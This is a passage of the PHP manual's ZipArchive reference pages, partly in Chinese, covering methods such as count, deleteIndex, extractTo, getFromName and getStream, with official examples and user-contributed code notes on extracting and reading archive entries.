Don't forget to check the zip isn't empty, folks - otherwise the zip won't be created at all, and the server will issue no warning!

I used a certain loop to add files to the zip, and struggled with permissions and documentation for hours before I realize the loop ended up adding no file, even though addFile WAS called, but on a non-existent file.
This might be the reason your zips aren't popping up.


Counts the number of files in the archive

  • ? ZipArchive::close
  • ZipArchive::deleteIndex ?
  • PHP Manual
  • ZipArchive
  • Counts the number of files in the archive

ZipArchive::count

(PHP 7 >= 7.2.0, PHP 8, PECL zip >= 1.15.0)

ZipArchive::count — Counts the number of files in the archive

说明

public ZipArchive::count(): int

参数

此函数没有参数。

返回值

Returns the number of files in the archive.

User Contributed Notes

Ignacio C. E. 31-Aug-2018 07:42
You can use $zip->numFiles if you are on PHP <7.2
ohcc at 163 dot com 01-Feb-2018 12:11
ZipArchive::count() is introduced in PHP 7.2.


Delete an entry in the archive using its index

  • ? ZipArchive::count
  • ZipArchive::deleteName ?
  • PHP Manual
  • ZipArchive
  • Delete an entry in the archive using its index

ZipArchive::deleteIndex

(PHP 5 >= 5.2.0, PHP 7, PHP 8, PECL zip >= 1.5.0)

ZipArchive::deleteIndex — Delete an entry in the archive using its index

说明

public ZipArchive::deleteIndex(int $index): bool

Delete an entry in the archive using its index.

参数

index

Index of the entry to delete.

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 Delete file from archive using its index

<?php
$zip = new ZipArchive;
if ($zip->open('test.zip') === TRUE) {
$zip->deleteIndex(2);
$zip->close();
echo 'ok';
} else {
echo 'failed';
}
?>

User Contributed Notes

mubin at brokergenius dot com 06-Sep-2013 06:56
I'm trying to delete file using deleteName and deleteIndex, it returns true but files are not removed. can anybody tell me how could it be?

Here is code snippet

$zip = new ZipArchive ;
$zipname = "www.zip" ;
chmod( $zipname, 0777 ) ;

if ( $zip->open( $zipname ) )
{
     $loop = $zip->numFiles ;
    for ( $i = 0; $i < $loop; $i++ )
    {

        var_dump($zip->deleteIndex( $i )) ;
        var_dump(deleteName($zip->getNameIndex( $i )). "/") ;

    }
}$zip->close() ;


Delete an entry in the archive using its name

  • ? ZipArchive::deleteIndex
  • ZipArchive::extractTo ?
  • PHP Manual
  • ZipArchive
  • Delete an entry in the archive using its name

ZipArchive::deleteName

(PHP 5 >= 5.2.0, PHP 7, PHP 8, PECL zip >= 1.5.0)

ZipArchive::deleteName — Delete an entry in the archive using its name

说明

public ZipArchive::deleteName(string $name): bool

Delete an entry in the archive using its name.

参数

name

Name of the entry to delete.

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 Deleting a file and directory from an archive, using names

<?php
$zip = new ZipArchive;
if ($zip->open('test1.zip') === TRUE) {
$zip->deleteName('testfromfile.php');
$zip->deleteName('testDir/');
$zip->close();
echo 'ok';
} else {
echo 'failed';
}
?>

User Contributed Notes

There are no user contributed notes for this page.


解压缩文件

  • ? ZipArchive::deleteName
  • ZipArchive::getArchiveComment ?
  • PHP Manual
  • ZipArchive
  • 解压缩文件

ZipArchive::extractTo

(PHP 5 >= 5.2.0, PHP 7, PHP 8, PECL zip >= 1.1.0)

ZipArchive::extractTo — 解压缩文件

说明

public ZipArchive::extractTo(string $pathto, array|string|null $files = null): bool

将完整归档或指定文件提取到指定的目录。

Warning

提取的文件和目录的默认权限提供尽可能广泛的访问权限。这可以通过设置当前 umask 来限制，可以使用 umask() 更改。

出于安全原因，不会恢复原始权限。有关如何还原的示例，请参阅 ZipArchive::getExternalAttributesIndex() 页面上的代码示例。

参数

pathto

解压缩的本地目标路径

files

要提取的条目。接受单个条目名称或名称数组。

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 提取所有条目

<?php
$zip = new ZipArchive;
if ($zip->open('test.zip') === TRUE) {
$zip->extractTo('/my/destination/dir/');
$zip->close();
echo 'ok';
} else {
echo 'failed';
}
?>

Example #2 提取两个条目

<?php
$zip = new ZipArchive;
$res = $zip->open('test_im.zip');
if ($res === TRUE) {
$zip->extractTo('/my/destination/dir/', array('pear_item.gif', 'testfromfile.php'));
$zip->close();
echo 'ok';
} else {
echo 'failed';
}
?>

注释

Note:

Windows NTFS file systems do not support some characters in filenames, namely <|>*?":. Filenames with a trailing dot are not supported either. Contrary to some extraction tools, this method does not replace these characters with an underscore, but instead fails to extract such files.

User Contributed Notes

cucurella at gmail dot com 25-Jan-2021 10:50
// Handling ERROR file by file !!

<?php

$ERROR_UNZIP = false;
$dest = "../";
$zipfile = "test.zip";

$zip = new ZipArchive;

if ($zip->open("$zipfile") === true) {

    for ($i = 0; $i < $zip -> numFiles; $i++) {
        $RETVAL = false;

        $filename = $zip->getNameIndex($i);

        $RETVAL = $zip->extractTo($dest,$filename);

        if ($RETVAL) {
            print "$filename ... [ OK ]<br>";
        } else {
            print "$filename ... [ ERROR ]<br>";
            $ERROR_UNZIP = true;
        }
    }

    // close
    $zip -> close();

    // retval
    if ($ERROR_UNZIP) {
        print "<p>ERROR unziping ${zipfile}</p>";
    } else {
        print "<p>Unzip OK</p>";
    }
} else {
    print "<p>ERROR opening ${zipfile}</p>";
}

?>
icixtec at gmail dot com 04-Jan-2020 03:32
Para casos donde sea necesario descomprimir archivos sin saber si el nombre está en mayúsculas o minúsculas:

$zip = new ZipArchive;
if ($zip->open('myfile.zip') === TRUE) {
    //no funciona
    //$zip->extractTo('./', array( 'file1.XML', 'file1.xml'));
    //funciona
    $zip->extractTo('./', 'file1.XML' );
    $zip->extractTo('./', 'file1.xml' );
    $zip->close();
}
Anonymous 24-Feb-2018 06:43
If you want to extract the files just to the current folder, simply use
$zip->extractTo(".");

It took me hours to figure this out.
skrzypecki at gmail dot com 25-Sep-2017 06:12
Please note that the path can not be to long! I am not sure what the maximum length is, didnt find any information about that. But i kept getting issues when using extractTo().

Than after google i found this little comment: https://github.com/composer/composer/issues/2824#issuecomment-308201902

CopyPasted comment:
===
I had this path in my machine:

C:/xampp5.0/htdocs/project-recordando-symfony/project-recordando-symfony
Then I ran composer install or/and composer update and it returned this error:

ErrorException ZipArchive::extractTo...

That error is because your path is too much long, I changed to:

C:/xampp5.0/htdocs/p-symfony/*
and worked!
===
synnus at gmail dot com 31-Aug-2017 12:59
<?php

    // This version allows to see which file will be decompressed and to keep
    // a follow-up on decompression

    define( 'FILEPATH',     dirname(__FILE__)     . '\\' );
    define( 'TEST',         FILEPATH             . 'test\\' );

$za = new ZipArchive();

$za->open(FILEPATH . 'test.zip');
print_r($za);
var_dump($za);
echo "Nombre de fichiers : " . $za->numFiles . "\n";
echo "Statut : " . $za->status  . "\n";
echo "Statut du système : " . $za->statusSys . "\n";
echo "Nom du fichier : " . $za->filename . "\n";
echo "Commentaire : " . $za->comment . "\n";

/*  in $za->statIndex($i)

    [name] => data/x.luac
    [index] => 451
    [crc] => -1266183263
    [size] => 2936
    [mtime] => 1464790482
    [comp_size] => 976
    [comp_method] => 8
*/

for ($i=0; $i<$za->numFiles;$i++) {
    echo "index : $i\n";
    $name = $za->statIndex($i)['name'];
    $size = $za->statIndex($i)['size'];
    $comp_size = $za->statIndex($i)['comp_size'];
    print_r($name . ' [ ' . $size . '>' . $comp_size . ']' );
    $za->extractTo(TEST,$name);
}
echo "Nombre de fichiers :" . $za->numFiles . "\n";

?>
ohcc at 163 dot com 07-Jul-2017 09:54
WARNING!!!!

if you are running php under Apache, a .htaccess file inside the zip file may fail the extractTo() method.
ben dot tyger at tygerclan dot net 08-Jan-2016 06:03
Note, in Linux (possibly other *nix platforms too) there is no way to extract hidden files ( aka filename starting with a '.') from a Zip archive.
stanislav dot eckert at vizson dot de 17-Dec-2014 04:03
The extractTo() method does not offer any parameter to allow extracting files and folders recursively from another (parent) folder inside the ZIP archive. With the following method it is possible:

<?php
  class my_ZipArchive extends ZipArchive
  {
    public function extractSubdirTo($destination, $subdir)
    {
      $errors = array();

      // Prepare dirs
      $destination = str_replace(array("/", "\\"), DIRECTORY_SEPARATOR, $destination);
      $subdir = str_replace(array("/", "\\"), "/", $subdir);

      if (substr($destination, mb_strlen(DIRECTORY_SEPARATOR, "UTF-8") * -1) != DIRECTORY_SEPARATOR)
        $destination .= DIRECTORY_SEPARATOR;

      if (substr($subdir, -1) != "/")
        $subdir .= "/";

      // Extract files
      for ($i = 0; $i < $this->numFiles; $i++)
      {
        $filename = $this->getNameIndex($i);

        if (substr($filename, 0, mb_strlen($subdir, "UTF-8")) == $subdir)
        {
          $relativePath = substr($filename, mb_strlen($subdir, "UTF-8"));
          $relativePath = str_replace(array("/", "\\"), DIRECTORY_SEPARATOR, $relativePath);

          if (mb_strlen($relativePath, "UTF-8") > 0)
          {
            if (substr($filename, -1) == "/")  // Directory
            {
              // New dir
              if (!is_dir($destination . $relativePath))
                if (!@mkdir($destination . $relativePath, 0755, true))
                  $errors[$i] = $filename;
            }
            else
            {
              if (dirname($relativePath) != ".")
              {
                if (!is_dir($destination . dirname($relativePath)))
                {
                  // New dir (for file)
                  @mkdir($destination . dirname($relativePath), 0755, true);
                }
              }

              // New file
              if (@file_put_contents($destination . $relativePath, $this->getFromIndex($i)) === false)
                $errors[$i] = $filename;
            }
          }
        }
      }

      return $errors;
    }
  }
?>

Example:
<?php
  echo "<pre>";

  $zip = new my_ZipArchive();
  if ($zip->open("test.zip") === TRUE)
  {
    $errors = $zip->extractSubdirTo("C:/output", "folder/subfolder/");
    $zip->close();

    echo 'ok, errors: ' . count($errors);
  }
  else
  {
    echo 'failed';
  }
?>
sachinyadav at live dot com 12-Nov-2010 12:29
This script will search for ".txt" file(any file name) inside test.zip archive. Suppose, 'example.txt' file is found then the script will copy 'example.txt' to "txt_files" directory and rename it to 'test.zip.txt' and will remove all the blank lines from 'test.zip.txt' and resave and will exit the loop without searching remaining entries.
This script can be useful to extract .DIZ and GIF files to display ZIP archive details in your script.
<?php
   $value="test.zip";
   $filename="zip_files/$value";
   $zip = new ZipArchive;
     if ($zip->open($filename) === true) {
      echo "Generating TEXT file.";
          for($i = 0; $i < $zip->numFiles; $i++) {
             $entry = $zip->getNameIndex($i);
               if(preg_match('#\.(txt)$#i', $entry))
                {
                ////This copy function will move the entry to the root of "txt_files" without creating any sub-folders unlike "ZIP->EXTRACTO" function.
                copy('zip://'.dirname(__FILE__).'/zip_files/'.$value.'#'.$entry, 'txt_files/'.$value.'.txt');
                $content = file_get_contents("txt_files/$value.txt");
                $newcontent = preg_replace("/(^[\r\n]*|[\r\n]+)[\s\t]*[\r\n]+/", "\n", $content);
                file_put_contents("txt_files/$value.txt", "$newcontent");
                break;
                }
              }
             $zip->close();
            }
    else{
         echo "ZIP archive failed";
        }
?>

enjoy PHP programming.
Sachin Yadav
php-dev at proneticas dot net 07-Nov-2010 11:22
If you want to copy one file at a time and remove the folder name that is stored in the ZIP file, so you don't have to create directories from the ZIP itself, then use this snippet (basically collapses the ZIP file into one Folder).

<?php

$path = 'zipfile.zip'

$zip = new ZipArchive;
if ($zip->open($path) === true) {
    for($i = 0; $i < $zip->numFiles; $i++) {
        $filename = $zip->getNameIndex($i);
        $fileinfo = pathinfo($filename);
        copy("zip://".$path."#".$filename, "/your/new/destination/".$fileinfo['basename']);
    }
    $zip->close();
}

?>

* On a side note, you can also use $_FILES['userfile']['tmp_name'] as the $path for an uploaded ZIP so you never have to move it or extract a uploaded zip file.

Cheers!

ProNeticas Dev Team
quake2005 at gmail dot com 20-Aug-2010 11:05
If you want to extract one file at a time, you can use this:

<?php

$path = 'zipfile.zip'

$zip = new ZipArchive;
if ($zip->open($path) === true) {

    for($i = 0; $i < $zip->numFiles; $i++) {

        $zip->extractTo('path/to/extraction/', array($zip->getNameIndex($i)));

        // here you can run a custom function for the particular extracted file

    }

    $zip->close();

}

?>
cory dot mawhorter at ephective dot com 18-Apr-2010 01:28
This function will flatten a zip file using the ZipArchive class.

It will extract all the files in the zip and store them in a single destination directory.  That is, no sub-directories will be created.

If anyone knows a better way to determine if an entry is a directory, please chime in.  I feel dirty checking for a trailing slash.

<?php
// dest shouldn't have a trailing slash
function zip_flatten ( $zipfile, $dest='.' )
{
    $zip = new ZipArchive;
    if ( $zip->open( $zipfile ) )
    {
        for ( $i=0; $i < $zip->numFiles; $i++ )
        {
            $entry = $zip->getNameIndex($i);
            if ( substr( $entry, -1 ) == '/' ) continue; // skip directories

            $fp = $zip->getStream( $entry );
            $ofp = fopen( $dest.'/'.basename($entry), 'w' );

            if ( ! $fp )
                throw new Exception('Unable to extract the file.');

            while ( ! feof( $fp ) )
                fwrite( $ofp, fread($fp, 8192) );

            fclose($fp);
            fclose($ofp);
        }

                $zip->close();
    }
    else
        return false;

    return $zip;
}

/*
Example Usage:

zip_flatten( 'test.zip', 'my/path' );
*/
?>

[EDIT BY danbrown AT php DOT net: Added $zip-close() per indication by original poster in follow-up note on 18-APR-2010.]
Anonymous 02-Dec-2009 04:38
I am using this function to extract a specific folder and it's contents from a zip file:

<?php
function extractDir($zipfile, $path) {
  if (file_exists($zipfile)) {
    $files = array();
    $zip = new ZipArchive;
    if ($zip->open($zipfile) === TRUE) {
      for($i = 0; $i < $zip->numFiles; $i++) {
        $entry = $zip->getNameIndex($i);
        //Use strpos() to check if the entry name contains the directory we want to extract
        if (strpos($entry, "/MyFolder/")) {
          //Add the entry to our array if it in in our desired directory
          $files[] = $entry;
        }
      }
      //Feed $files array to extractTo() to get only the files we want
      if ($zip->extractTo($path, $files) === TRUE) {
        return TRUE;
      } else {
        return FALSE;
      }
      $zip->close();
    } else {
      return FALSE;
    }
  } else {
    return FALSE;
  }
}

//Run the function
if (extractDir($zipfile, $path)) {
  $extracted = "YES! :-D";
} else {
  $extracted = "NO! :*(";
}

echo $extracted;
?>
kawzaki at yahoo dot com 31-May-2009 09:28
Please be aware of the fact that using this function has OVERWRITE true.

an old file will be overwritten if the achieve (zipped file) contains file matching the same old file name.

old files that has no match in the zip, will be kept as is.

hopefully the someone will explain how to avoid overwriting old files.
Anonymous 02-Apr-2009 01:50
I found it useful to add this to a function.

<?php
/**
*  Extracts a ZIP archive to the specified extract path
*
*  @param string $file The ZIP archive to extract (including the path)
*  @param string $extractPath The path to extract the ZIP archive to
*
*  @return boolean TURE if the ZIP archive is successfully extracted, FALSE if there was an errror
*
*/
function zip_extract($file, $extractPath) {

    $zip = new ZipArchive;
    $res = $zip->open($file);
    if ($res === TRUE) {
        $zip->extractTo($extractPath);
        $zip->close();
        return TRUE;
    } else {
        return FALSE;
    }

} // end function
?>
tBone 02-Jun-2008 05:03
This function, at least from my experience, maintains/forces the directory structure within the ZIP file.

ie. if you have FOLDER1/File1.txt in the zip file and you use
$zip->extractTo('/extract', 'FOLDER1/File1.txt');
the location of the extracted file will be:
/extract/FOLDER1/File1.txt


Returns the Zip archive comment

  • ? ZipArchive::extractTo
  • ZipArchive::getArchiveFlag ?
  • PHP Manual
  • ZipArchive
  • Returns the Zip archive comment

ZipArchive::getArchiveComment

(PHP 5 >= 5.2.0, PHP 7, PHP 8, PECL zip >= 1.1.0)

ZipArchive::getArchiveComment — Returns the Zip archive comment

说明

public ZipArchive::getArchiveComment(int $flags = 0): string|false

Returns the Zip archive comment.

参数

flags

If flags is set to ZipArchive::FL_UNCHANGED, the original unchanged comment is returned.

返回值

Returns the Zip archive comment 或者在失败时返回 false.

示例

Example #1 Dump an archive comment

<?php
$zip = new ZipArchive;
$res = $zip->open('test_with_comment.zip');
if ($res === TRUE) {
var_dump($zip->getArchiveComment());
/* Or using the archive property */
var_dump($zip->comment);
} else {
echo 'failed, code:' . $res;
}
?>

User Contributed Notes

There are no user contributed notes for this page.


返回 Zip 归档全局 flag 的值

  • ? ZipArchive::getArchiveComment
  • ZipArchive::getCommentIndex ?
  • PHP Manual
  • ZipArchive
  • 返回 Zip 归档全局 flag 的值

ZipArchive::getArchiveFlag

(PHP >= 8.3.0, PECL zip >= 1.22.0)

ZipArchive::getArchiveFlag — 返回 Zip 归档全局 flag 的值

说明

public ZipArchive::getArchiveFlag(int $flag = 0, int $flags = 0): int

返回 Zip 归档全局 flag 的值。

参数

flag

检索的全局 flag，包含 AFL_* 常量：

  • ZipArchive::AFL_RDONLY

  • ZipArchive::AFL_IS_TORRENTZIP

  • ZipArchive::AFL_WANT_TORRENTZIP

  • ZipArchive::AFL_CREATE_OR_KEEP_FILE_FOR_EMPTY_ARCHIVE

flags

如果将 flag 设置为 ZipArchive::FL_UNCHANGED，则返回原始未更改的 flag。

返回值

如果 flag 在归档中设置了，返回 1，没有返回 0，发生错误，返回 -1。

示例

Example #1 测试归档是否是 torrentzip 格式

<?php
$zip = new ZipArchive;
$res = $zip->open('test.zip');
if ($res === TRUE) {
var_dump($zip->getArchiveFlag(ZipArchive::AFL_IS_TORRENTZIP));
} else {
echo 'failed, code:' . $res;
}
?>

参见

  • ZipArchive::setArchiveFlag() - 设置 ZIP 归档的全局 flag

User Contributed Notes

There are no user contributed notes for this page.


Returns the comment of an entry using the entry index

  • ? ZipArchive::getArchiveFlag
  • ZipArchive::getCommentName ?
  • PHP Manual
  • ZipArchive
  • Returns the comment of an entry using the entry index

ZipArchive::getCommentIndex

(PHP 5 >= 5.2.0, PHP 7, PHP 8, PECL zip >= 1.4.0)

ZipArchive::getCommentIndex — Returns the comment of an entry using the entry index

说明

public ZipArchive::getCommentIndex(int $index, int $flags = 0): string|false

Returns the comment of an entry using the entry index.

参数

index

Index of the entry

flags

If flags is set to ZipArchive::FL_UNCHANGED, the original unchanged comment is returned.

返回值

Returns the comment on success 或者在失败时返回 false.

示例

Example #1 Dump an entry comment

<?php
$zip = new ZipArchive;
$res = $zip->open('test1.zip');
if ($res === TRUE) {
var_dump($zip->getCommentIndex(1));
} else {
echo 'failed, code:' . $res;
}
?>

User Contributed Notes

There are no user contributed notes for this page.


Returns the comment of an entry using the entry name

  • ? ZipArchive::getCommentIndex
  • ZipArchive::getExternalAttributesIndex ?
  • PHP Manual
  • ZipArchive
  • Returns the comment of an entry using the entry name

ZipArchive::getCommentName

(PHP 5 >= 5.2.0, PHP 7, PHP 8, PECL zip >= 1.4.0)

ZipArchive::getCommentName — Returns the comment of an entry using the entry name

说明

public ZipArchive::getCommentName(string $name, int $flags = 0): string|false

Returns the comment of an entry using the entry name.

参数

name

Name of the entry

flags

If flags is set to ZipArchive::FL_UNCHANGED, the original unchanged comment is returned.

返回值

Returns the comment on success 或者在失败时返回 false.

示例

Example #1 Dump an entry comment

<?php
$zip = new ZipArchive;
$res = $zip->open('test1.zip');
if ($res === TRUE) {
var_dump($zip->getCommentName('test/entry1.txt'));
} else {
echo 'failed, code:' . $res;
}
?>

User Contributed Notes

There are no user contributed notes for this page.


Retrieve the external attributes of an entry defined by its index

  • ? ZipArchive::getCommentName
  • ZipArchive::getExternalAttributesName ?
  • PHP Manual
  • ZipArchive
  • Retrieve the external attributes of an entry defined by its index

ZipArchive::getExternalAttributesIndex

(PHP 5 >= 5.6.0, PHP 7, PHP 8, PECL zip >= 1.12.4)

ZipArchive::getExternalAttributesIndex — Retrieve the external attributes of an entry defined by its index

说明

public ZipArchive::getExternalAttributesIndex(
int $index,
int &$opsys,
int &$attr,
int $flags = 0
): bool

Retrieve the external attributes of an entry defined by its index.

参数

index

Index of the entry.

opsys

On success, receive the operating system code defined by one of the ZipArchive::OPSYS_ constants.

attr

On success, receive the external attributes. Value depends on operating system.

flags

If flags is set to ZipArchive::FL_UNCHANGED, the original unchanged attributes are returned.

返回值

成功时返回 true， 或者在失败时返回 false。

示例

This example extract all the entries of a ZIP archive test.zip and set the Unix rights from external attributes.

Example #1 Extract all entries with Unix rights

<?php
$zip = new ZipArchive();
if ($zip->open('test.zip') === TRUE) {
for ($idx=0 ; $s = $zip->statIndex($idx) ; $idx++) {
if ($zip->extractTo('.', $s['name'])) {
if ($zip->getExternalAttributesIndex($idx, $opsys, $attr)
&& $opsys==ZipArchive::OPSYS_UNIX) {
chmod($s['name'], ($attr >> 16) & 0777);
}
}
}
$zip->close();
echo "Ok\n";
} else {
echo "KO\n";
}
?>

User Contributed Notes

There are no user contributed notes for this page.


Retrieve the external attributes of an entry defined by its name

  • ? ZipArchive::getExternalAttributesIndex
  • ZipArchive::getFromIndex ?
  • PHP Manual
  • ZipArchive
  • Retrieve the external attributes of an entry defined by its name

ZipArchive::getExternalAttributesName

(PHP 5 >= 5.6.0, PHP 7, PHP 8, PECL zip >= 1.12.4)

ZipArchive::getExternalAttributesName — Retrieve the external attributes of an entry defined by its name

说明

public ZipArchive::getExternalAttributesName(
string $name,
int &$opsys,
int &$attr,
int $flags = 0
): bool

Retrieve the external attributes of an entry defined by its name.

参数

name

Name of the entry.

opsys

On success, receive the operating system code defined by one of the ZipArchive::OPSYS_ constants.

attr

On success, receive the external attributes. Value depends on operating system.

flags

If flags is set to ZipArchive::FL_UNCHANGED, the original unchanged attributes are returned.

返回值

成功时返回 true， 或者在失败时返回 false。

User Contributed Notes

There are no user contributed notes for this page.


Returns the entry contents using its index

  • ? ZipArchive::getExternalAttributesName
  • ZipArchive::getFromName ?
  • PHP Manual
  • ZipArchive
  • Returns the entry contents using its index

ZipArchive::getFromIndex

(PHP 5 >= 5.2.0, PHP 7, PHP 8, PECL zip >= 1.1.0)

ZipArchive::getFromIndex — Returns the entry contents using its index

说明

public ZipArchive::getFromIndex(int $index, int $len = 0, int $flags = 0): string|false

Returns the entry contents using its index.

参数

index

Index of the entry

len

The length to be read from the entry. If 0, then the entire entry is read.

flags

The flags to use to open the archive. the following values may be ORed to it.

  • ZipArchive::FL_UNCHANGED

  • ZipArchive::FL_COMPRESSED

返回值

Returns the contents of the entry on success 或者在失败时返回 false.

示例

Example #1 Get the file contents

<?php
$zip = new ZipArchive;
if ($zip->open('test.zip') === TRUE) {
echo $zip->getFromIndex(2);
$zip->close();
} else {
echo 'failed';
}
?>

参见

  • ZipArchive::getFromName() - Returns the entry contents using its name

User Contributed Notes

Ruben 12-May-2015 07:59
For detecting folders use function ::getNameIndex:

//$zip = ZipArchive::open()
$entry = $zip->getNameIndex($i);
$isDir = (substr($entry, -1, 1) == '/');

Thanks to Alex Howansky @ http://stackoverflow.com/a/19299626/2747584
poorpal at example dot com 16-Mar-2015 10:03
both getFromIndex and getFromName leak memory. Beware specially if you use them inside a long running loop. Even closing and re-opening the zip file doesn't help.
StanE 17-Dec-2014 02:35
Unlike what "jana.vasseru" said 7 years ago, this method does not return FALSE for folders (anymore?). It seems that there is no way to find out if an entry is a directory of file.
matt3k 26-Jun-2013 01:21
Note, length is in characters and not bytes.
jana.vasseru 17-Aug-2007 04:26
Note that getFromIndex returns false for directories.


Returns the entry contents using its name

  • ? ZipArchive::getFromIndex
  • ZipArchive::getNameIndex ?
  • PHP Manual
  • ZipArchive
  • Returns the entry contents using its name

ZipArchive::getFromName

(PHP 5 >= 5.2.0, PHP 7, PHP 8, PECL zip >= 1.1.0)

ZipArchive::getFromName — Returns the entry contents using its name

说明

public ZipArchive::getFromName(string $name, int $len = 0, int $flags = 0): string|false

Returns the entry contents using its name.

参数

name

Name of the entry

len

The length to be read from the entry. If 0, then the entire entry is read.

flags

The flags to use to find the entry. The following values may be ORed.

  • ZipArchive::FL_UNCHANGED

  • ZipArchive::FL_COMPRESSED

  • ZipArchive::FL_NOCASE

返回值

Returns the contents of the entry on success 或者在失败时返回 false.

示例

Example #1 Get the file contents

<?php
$zip = new ZipArchive;
if ($zip->open('test1.zip') === TRUE) {
echo $zip->getFromName('testfromfile.php');
$zip->close();
} else {
echo 'failed';
}
?>

Example #2 Convert an image from a zip entry

<?php
$z = new ZipArchive();
if ($z->open(dirname(__FILE__) . '/test_im.zip')) {
$im_string = $z->getFromName("pear_item.gif");
$im = imagecreatefromstring($im_string);
imagepng($im, 'b.png');
}
?>

参见

  • ZipArchive::getFromIndex() - Returns the entry contents using its index

User Contributed Notes

masterboreq at gmail dot com 26-Jan-2020 08:33
When passing to the method explicit string which contains a relative path (inside the ZIP archive), e.g. 'path/to/file.php/' please make sure you used single quotation mark (') not the double one ("). Double quotation mark produce FALSE (at least at Windows machine) giving no further hints what gone wrong.
Also, please make sure that the path delimiters used inside your ZIP file is backslash or forward slash since it's make a difference in this place too.
I hope I saved you a headache while working with this (so far) unmentioned "feature" :)
henrik dot haftmann at gmail dot com 22-Sep-2016 11:02
The handling of file names containing non-ASCII characters is undocumented. It seems that this function calls <?php mb_convert_encoding($name,"CP850","UTF-8") ?> and therefore expects DOS encoding in the zipfile but UTF-8 encoding for the name. If the zipfile uses UTF-8 names (Pkzip 4.5 / Winzip 11.2), this function fails. Use getFromIndex instead as a workaround.


Returns the name of an entry using its index

  • ? ZipArchive::getFromName
  • ZipArchive::getStatusString ?
  • PHP Manual
  • ZipArchive
  • Returns the name of an entry using its index

ZipArchive::getNameIndex

(PHP 5 >= 5.2.0, PHP 7, PHP 8, PECL zip >= 1.5.0)

ZipArchive::getNameIndex — Returns the name of an entry using its index

说明

public ZipArchive::getNameIndex(int $index, int $flags = 0): string|false

Returns the name of an entry using its index.

参数

index

Index of the entry.

flags

If flags is set to ZipArchive::FL_UNCHANGED, the original unchanged name is returned.

返回值

Returns the name on success 或者在失败时返回 false.

示例

Example #1 ZipArchive::getNameIndex() example

<?php
if ($zip->open('test.zip') == TRUE) {
for ($i = 0; $i < $zip->numFiles; $i++) {
$filename = $zip->getNameIndex($i);
// ...
}
}
?>

User Contributed Notes

Yeslifer 03-Mar-2009 04:13
I couldn't find any how-to example for getting the filenames, so I made an easy one.

Here's an example how to list all filenames from a zip-archive:

<?php
$zip = new ZipArchive;
if ($zip->open('items.zip'))
{
     for($i = 0; $i < $zip->numFiles; $i++)
     {
          echo 'Filename: ' . $zip->getNameIndex($i) . '<br />';
     }
}
else
{
     echo 'Error reading zip-archive!';
}
?>

Hope it helps.


Returns the status error message, system and/or zip messages

  • ? ZipArchive::getNameIndex
  • ZipArchive::getStream ?
  • PHP Manual
  • ZipArchive
  • Returns the status error message, system and/or zip messages

ZipArchive::getStatusString

(PHP 5 >= 5.2.7, PHP 7, PHP 8)

ZipArchive::getStatusString — Returns the status error message, system and/or zip messages

说明

public ZipArchive::getStatusString(): string

Returns the status error message, system and/or zip messages.

参数

此函数没有参数。

返回值

Returns a string with the status message.

更新日志

版本 | 说明
8.0.0 / 1.18.0 | This method can be called on closed archive.
8.0.0 / 1.18.0 | This method no longer returns false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Get a file handler to the entry defined by its name (read only)

  • ? ZipArchive::getStatusString
  • ZipArchive::getStreamIndex ?
  • PHP Manual
  • ZipArchive
  • Get a file handler to the entry defined by its name (read only)

ZipArchive::getStream

(PHP 5 >= 5.2.0, PHP 7, PHP 8, PECL zip >= 1.1.0)

ZipArchive::getStream — Get a file handler to the entry defined by its name (read only)

说明

public ZipArchive::getStream(string $name): resource|false

Get a file handler to the entry defined by its name. For now, it only supports read operations.

参数

name

The name of the entry to use.

返回值

Returns a file pointer (resource) on success 或者在失败时返回 false.

示例

Example #1 Get the entry contents with fread() and store it

<?php
$contents = '';
$z = new ZipArchive();
if ($z->open('test.zip')) {
$fp = $z->getStream('test');
if(!$fp) exit("failed\n");

while (!feof($fp)) {
$contents .= fread($fp, 2);
}

fclose($fp);
file_put_contents('t',$contents);
echo "done.\n";
}
?>

Example #2 Same as the previous example but with fopen() and the zip stream wrapper

<?php
$contents = '';
$fp = fopen('zip://' . dirname(__FILE__) . '/test.zip#test', 'r');
if (!$fp) {
exit("cannot open\n");
}
while (!feof($fp)) {
$contents .= fread($fp, 2);
}
echo "$contents\n";
fclose($fp);
echo "done.\n";
?>

Example #3 Stream wrapper and image, can be used with the xml function as well

<?php
$im = imagecreatefromgif('zip://' . dirname(__FILE__) . '/test_im.zip#pear_item.gif');
imagepng($im, 'a.png');
?>

参见

  • ZipArchive::getStreamIndex() - Get a file handler to the entry defined by its index (read only)
  • ZipArchive::getStreamName() - Get a file handler to the entry defined by its name (read only)
  • Compression Streams

User Contributed Notes

Sbastien 02-Jul-2022 10:24
Here a way to handle specific files from a zip archive without full extract :

<?php

$zip_file = '/path/to/file.zip'; // I wan to get stream a CSV files

$zip = new ZipArchive();
$zip->open($zip_file);
for ($i = 0; $i < $zip->numFiles; $i++) { // Check file by file
    $name = $zip->getNameIndex($i); // Retrieve entry name
    $extension = pathinfo($name, PATHINFO_EXTENSION);
    if ($extension === 'csv') { // I want to handle csv files
        $stream = $zip->getStream($name); // No stream index access before PHP 8.2
        // Starting PHP 8.2 $zip->getStreamIndex() or $zip->getStreamName()
        // Do stuff with $stream
        // ...
    }
}
oleg at andreyev dot lv 23-Feb-2022 08:12
Keep in mind that this stream is not rewindable/seekable.


Get a file handler to the entry defined by its index (read only)

  • ? ZipArchive::getStream
  • ZipArchive::getStreamName ?
  • PHP Manual
  • ZipArchive
  • Get a file handler to the entry defined by its index (read only)

ZipArchive::getStreamIndex

(PHP 8 >= 8.2.0, PECL zip >= 1.20.0)

ZipArchive::getStreamIndex — Get a file handler to the entry defined by its index (read only)

说明

public ZipArchive::getStreamIndex(int $index, int $flags = 0): resource|false

Get a file handler to the entry defined by its index. For now, it only supports read operations.

参数

index

Index of the entry

flags

If flags is set to ZipArchive::FL_UNCHANGED, the original unchanged stream is returned.

返回值

Returns a file pointer (resource) on success 或者在失败时返回 false.

示例

Example #1 Get the entry contents with fread() and store it

<?php
$contents = '';
$z = new ZipArchive();
if ($z->open('test.zip')) {
$fp = $z->getStreamIndex(1, ZipArchive::FL_UNCHANGED);
if(!$fp) die($z->getStatusString());

echo stream_get_contents($fp);

fclose($fp);
}
?>

参见

  • ZipArchive::getStreamName() - Get a file handler to the entry defined by its name (read only)

User Contributed Notes

There are no user contributed notes for this page.


Get a file handler to the entry defined by its name (read only)

  • ? ZipArchive::getStreamIndex
  • ZipArchive::isCompressionMethodSupported ?
  • PHP Manual
  • ZipArchive
